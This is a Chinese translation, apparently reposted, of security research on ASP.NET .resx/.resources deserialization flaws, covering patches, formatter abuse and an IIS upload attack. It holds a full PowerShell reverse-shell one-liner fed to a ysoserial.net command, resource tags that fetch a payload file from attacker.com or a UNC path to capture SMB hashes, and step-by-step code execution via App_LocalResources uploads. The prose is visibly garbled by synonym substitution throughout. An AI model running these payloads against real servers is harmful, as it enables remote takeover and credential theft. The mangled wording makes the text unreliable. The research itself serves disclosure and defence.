对ASP.NET资源文件(.RESX)及反序列化漏洞的研究

ASP.NET利用法度榜样中的资本文件平日用作本地化存储,它们可用于存储 用户交互界面元素 或 可被轻松翻译的字符串[1]。这些资本文件一样平常用.resx作为文件拓展名,而当它们以.resources作为文件拓展名时,还能够被利用法度榜样编译应用。可在微软的网站上懂得到资本文件的更多信息[2, 3]

这些资本文件虽然是XML款式的,然则它们仍可以包孕序列化工具。二进制工具在被序列化后,可以存储在以base64编码的.resx文件中。资本文件支持BinaryFormatter, SoapFormatter和TypeConverters,这些措施均能被滥用于 反序列化不敷安然的工具 或是 加载外部文件

这篇文章旨在更具体地评论争论这种attack vector(进击向量),提升大年夜家对它的认知深度,本钻研中确认问题的灵感滥觞于AlvaroMuñoz和Oleksandr Mirosh撰写的白皮书, Friday the 13th JSON Attacks8

补丁与遗留问题

我早在2018年1月时便向微软申报了资本文件(.resx和.resources)中的一些反序列化问题,但直至2018年7月微软才在许多产品中宣布了多个补丁(CVE-2018-8172,CVE-2018-8172和 CVE-2018-8300),例如在这之前 SharePoint 与 Visual Studio 不停都在以不安然的要领处置惩罚资本文件[7]

在打上2018年7月的补丁后,已经无法在 Visual Studio 中直接打开有着Web暗号(MOTW)[8]的.resx和.resources文件。当MOTW事情时,resgen.exe对象[9]会显示差错,而winres.exe对象[10]则会始终显示警告消息。值得留意的是,从压缩包中解压出的文件 或者是从 IE或Edge之外的浏览器中下载的文件 可能并被没有MOTW,大年夜家应该加倍审慎地处置惩罚它们

微软开拓者中间(MSDN)[11]的System.Resources命名空间文档也已经有了对应更新,包括ResourceManager,ResourceReader和ResourceSet措施的如下安然阐明:

“Calling methods in this class with untrusted data is a security risk. Call the methods in the class only with trusted data. For more information, see Untrusted Data Security Risks”.

“应用不受相信的数据调用此类中的措施存在安然风险。仅应用受相信的数据调用此类中的措施。有关的更多信息,可参阅 不被相信数据存在的安然风险

我们应该留意到,System.Resources措施的行径尚未被变动,是以所有应用了ASP.NET库 读取、编译 或是 反编译 资本文件的利用法度榜样(例如[12]和[13]),假如吸收用户供给的资本文件,则很可能会受到进击

若何对System.Resources命名空间孕育发生影响?

由于无法事先确定资本文件中的序列化工具类型,以是不能经由过程排查 不安然的反序列化 这种措施来防止恶意代码履行。虽然在应用BinaryFormatter时可以保护到某些措施,然则想要预防所有的进击是根本于事无补的,由于SoapFormatter或TypeConverters可以用作替代措施进行绕过

资本文件 还可以应用 UNC路径 指向本地文件或共享资本,而这又可能导致 文件罗列 或 SMB哈希挟制 等次要风险。当客户端对象被当成目标时, SMB哈希挟制可能会面临更高更大年夜的风险

因为.resx文件基于XML,是以在应用通俗XML库读取资本文件时,自定义的解析器可能轻易遭受XML外部实体(XXE)进击。然则默认环境下,ResXResourceReader类并不会处置惩罚 文档类型定义(DTD)这部分的XmlTextReader

技巧细节

可以应用 数据的mimetype属性 和 元数据标签 在资本文件内反序列化工具,此外type属性还可以被用来反序列化应用了TypeConverters的工具

经由过程BinaryFormatter和SoapFormatter进行反序列化

在以下环境应用BinaryFormatter(System.Runtime.Serialization.Formatters.Binary.BinaryFormatter)对资本文件中的工具进行反序列化:

mimetype属性提交空值给数据标签;或者

mimetype属性因此下数据或元数据标签之一:

application/x-microsoft.net.object.binary.base64

text/microsoft-urt/psuedoml-serialized/base64

text/microsoft-urt/binary-serialized/base64

在以下环境应用SoapFormatter(System.Runtime.Serialization.Formatters.Soap.SoapFormatter)对资本文件中的工具进行反序列化:

mimetype属性因此下数据或元数据标签之一:

application/x-microsoft.net.object.soap.base64

text/microsoft-urt/soap-serialized/base64

由[14]处的源代码可知,SoapFormatter并没有经由过程System.Web被应用,然而这仍旧可以经由过程 将 资本文件 上传到 ASP.NET Web利用法度榜样 的资本文件夹中来履行

ysoserial.net项目[15]可在没有事先知道反序列化问题的环境下,天生Payload(进击载荷)。下面的例子展示了若何天生具有 反向PowerShell 功能的Payload(进击载荷)

$command = ‘$client = New-Object System.Net.Sockets.TCPClient(“remote_IP_here”, remote_PORT_here);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()’

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

./ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c “powershell.exe -encodedCommand $encodedCommand”

然后如下所示,将天生的Payload(进击载荷)用于资本文件傍边

[Resource file default scheme and headers redacted]

data name=”test1_BinaryFormatter” mimetype=”application/x-microsoft.net.object.binary.base64″>

[1] [2]下一页

value>[BinaryFormatter payload goes here without the square brackets]value>

data>

经由过程TypeConverters进行反序列化

虽然资本文件在多半环境下会应用TypeConverters,然则那些受CanConvertFrom措施反省的兼容类型同样也很紧张。进击者能够经由过程查找相宜的类文件,应用ConvertFrom措施来履行代码。关于这种进击的更多信息,可以查看 Friday the 13th JSON Attacks [5] 白皮书

以下规划展示了,TypeConverters在作为type属性的fully qualified assembly name(完全限制集名)的资本文件里的用法[译者注:这段真的难译啊T T]

当application / x-microsoft.net.object.bytearray.base64在mimetype里时:

“test1″ mimetype=”application/x-microsoft.net.object.bytearray.base64” type=”A Fully Qualified Assembly Name Here”>value>Base64 ByteArray Payload Herevalue>data>

它必要吸收一个CanConvertFrom中byte []类型的类文件

当mimetype属性弗成用、type属性不为null(空)且不包孕System.Byte []类型和mscorlib字符串时:

data name=”test1″ type=”A Fully Qualified Assembly Name Here”>

value>String Payload Herevalue>

data>

它必要吸收一个CanConvertFrom中String类型的类文件

当能够包孕应用了System.Resources.ResXFileRef类型的外部文件路径时:

data name=”test1″ type=”System.Resources.ResXFileRef, System.Windows.Forms”>

value>UNC_PATH_HERE; A Fully Qualified Assembly Name Herevalue>

data>

在获取fully qualified assembly name(完全限制集名)时,它支持String,Byte []和MemoryStream类型,而这又可能会被滥用于加载 包孕了恶意序列化工具 的另一个资本文件,于是便可用来绕过对初始资本文件的潜在限定前提。下面的数据标签便是一个例子:

data name=”foobar” type=”System.Resources.ResXFileRef”>

value>

attacker.compayload.resx; System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

value>

data>

ResXFileRef类型还可以经由过程差错消息用作 文件罗列,也能经由过程 UNC路径 进行SMB哈希挟制。 比如:

data name=”foobar” type=”System.Resources.ResXFileRef, System.Windows.Forms”>

value>AttackerServertesttest;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089value>

data>

意见意义示例:在IIS长进击不安然的文件上传法度榜样

除了那些 容许用户供给随意率性资本文件 用来 自定义其本地设置 的利用软件 和 在用户交互界面显示 资本文件 的利用法度榜样之外,具有以下特性的文件上传法度榜样也很有可能受到影响:

可以上传扩展名为.resx或.resources的文件,并且

文件可以上传到 被上传文件夹 中的随意率性质文件夹中,并且

被上传文件夹可以经由过程Web造访到,并且

尚未禁用被上传文件夹中ASP.NET法度榜样(*.aspx、 *.ashx、*.asmx或 *_appservice.axd)的履行权限

将资本文件直接上传到App_GlobalResources或App_LocalResources文件夹,可能导致远程代码履行,这将使那些未斟酌到.resx或.resources 并且 容许用户上传这些文件 的利用法度榜样陷入危险的田地。正由于App_GlobalResources目录只可能位于利用法度榜样的根目录下,以是App_LocalResources文件夹的确便是为此类进击而生

进击者可以将恶意资本文件(.resx或.resources)上传到 被上传文件夹 中的App_LocalResources文件夹,然后从 被上传文件夹 中调用随意率性ASP.NET文件(以致不管存在与否)来履行随意率性代码

可以应用resgen.exe对象编译.resx文件以创建.resources,值得一提的是exploit code(EXP,破绽使用代码)也将在编译历程中被履行

假如尚未在IIS办事器上创建过文件夹,进击者则可以应用App_LocalResources :: $ Index_allocation或App_LocalResources:$ i30:$ index_allocation trick in filename创建App_LocalResources文件夹。获取更多有关此技巧的信息,可参阅OWASP.org [16]

以下文件和目录树显示了成功上载文件的示例:

|_ wwwroot

|_ MyApp

|_ Userfiles

|_ App_LocalResources

|_ test.resx

到现在为止,只要打开/MyApp/Usefiles/foobar.aspx页面,就能够在Web办事器上履行代码,test.resx文件可以用它被编译过后的文件test.resources调换,foobar.aspx文件也无需存在于办事器上

结论

没有颠末足够的验证时,请勿信托任何资本文件

假如资本文件必须用在 包孕字符串的值 上,那么建议应用simple XML parser object(简单XML解析器工具)解析.resx文件并读取值,而不要去处置惩罚DTD部分,这样便可以安然地对通用类型数据进行处置惩罚,而并不必要应用反序列化、类型转换器和文件引用功能

为了保护文件上传法度榜样,请确保在 被上传文件夹 中禁用ASP.NET扩展,并且共同应用白名单验证的措施(不要包括.resx和.resources扩展名)。 更多的建议可以在OWASP.org [16]中获取

上一页[1] [2]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包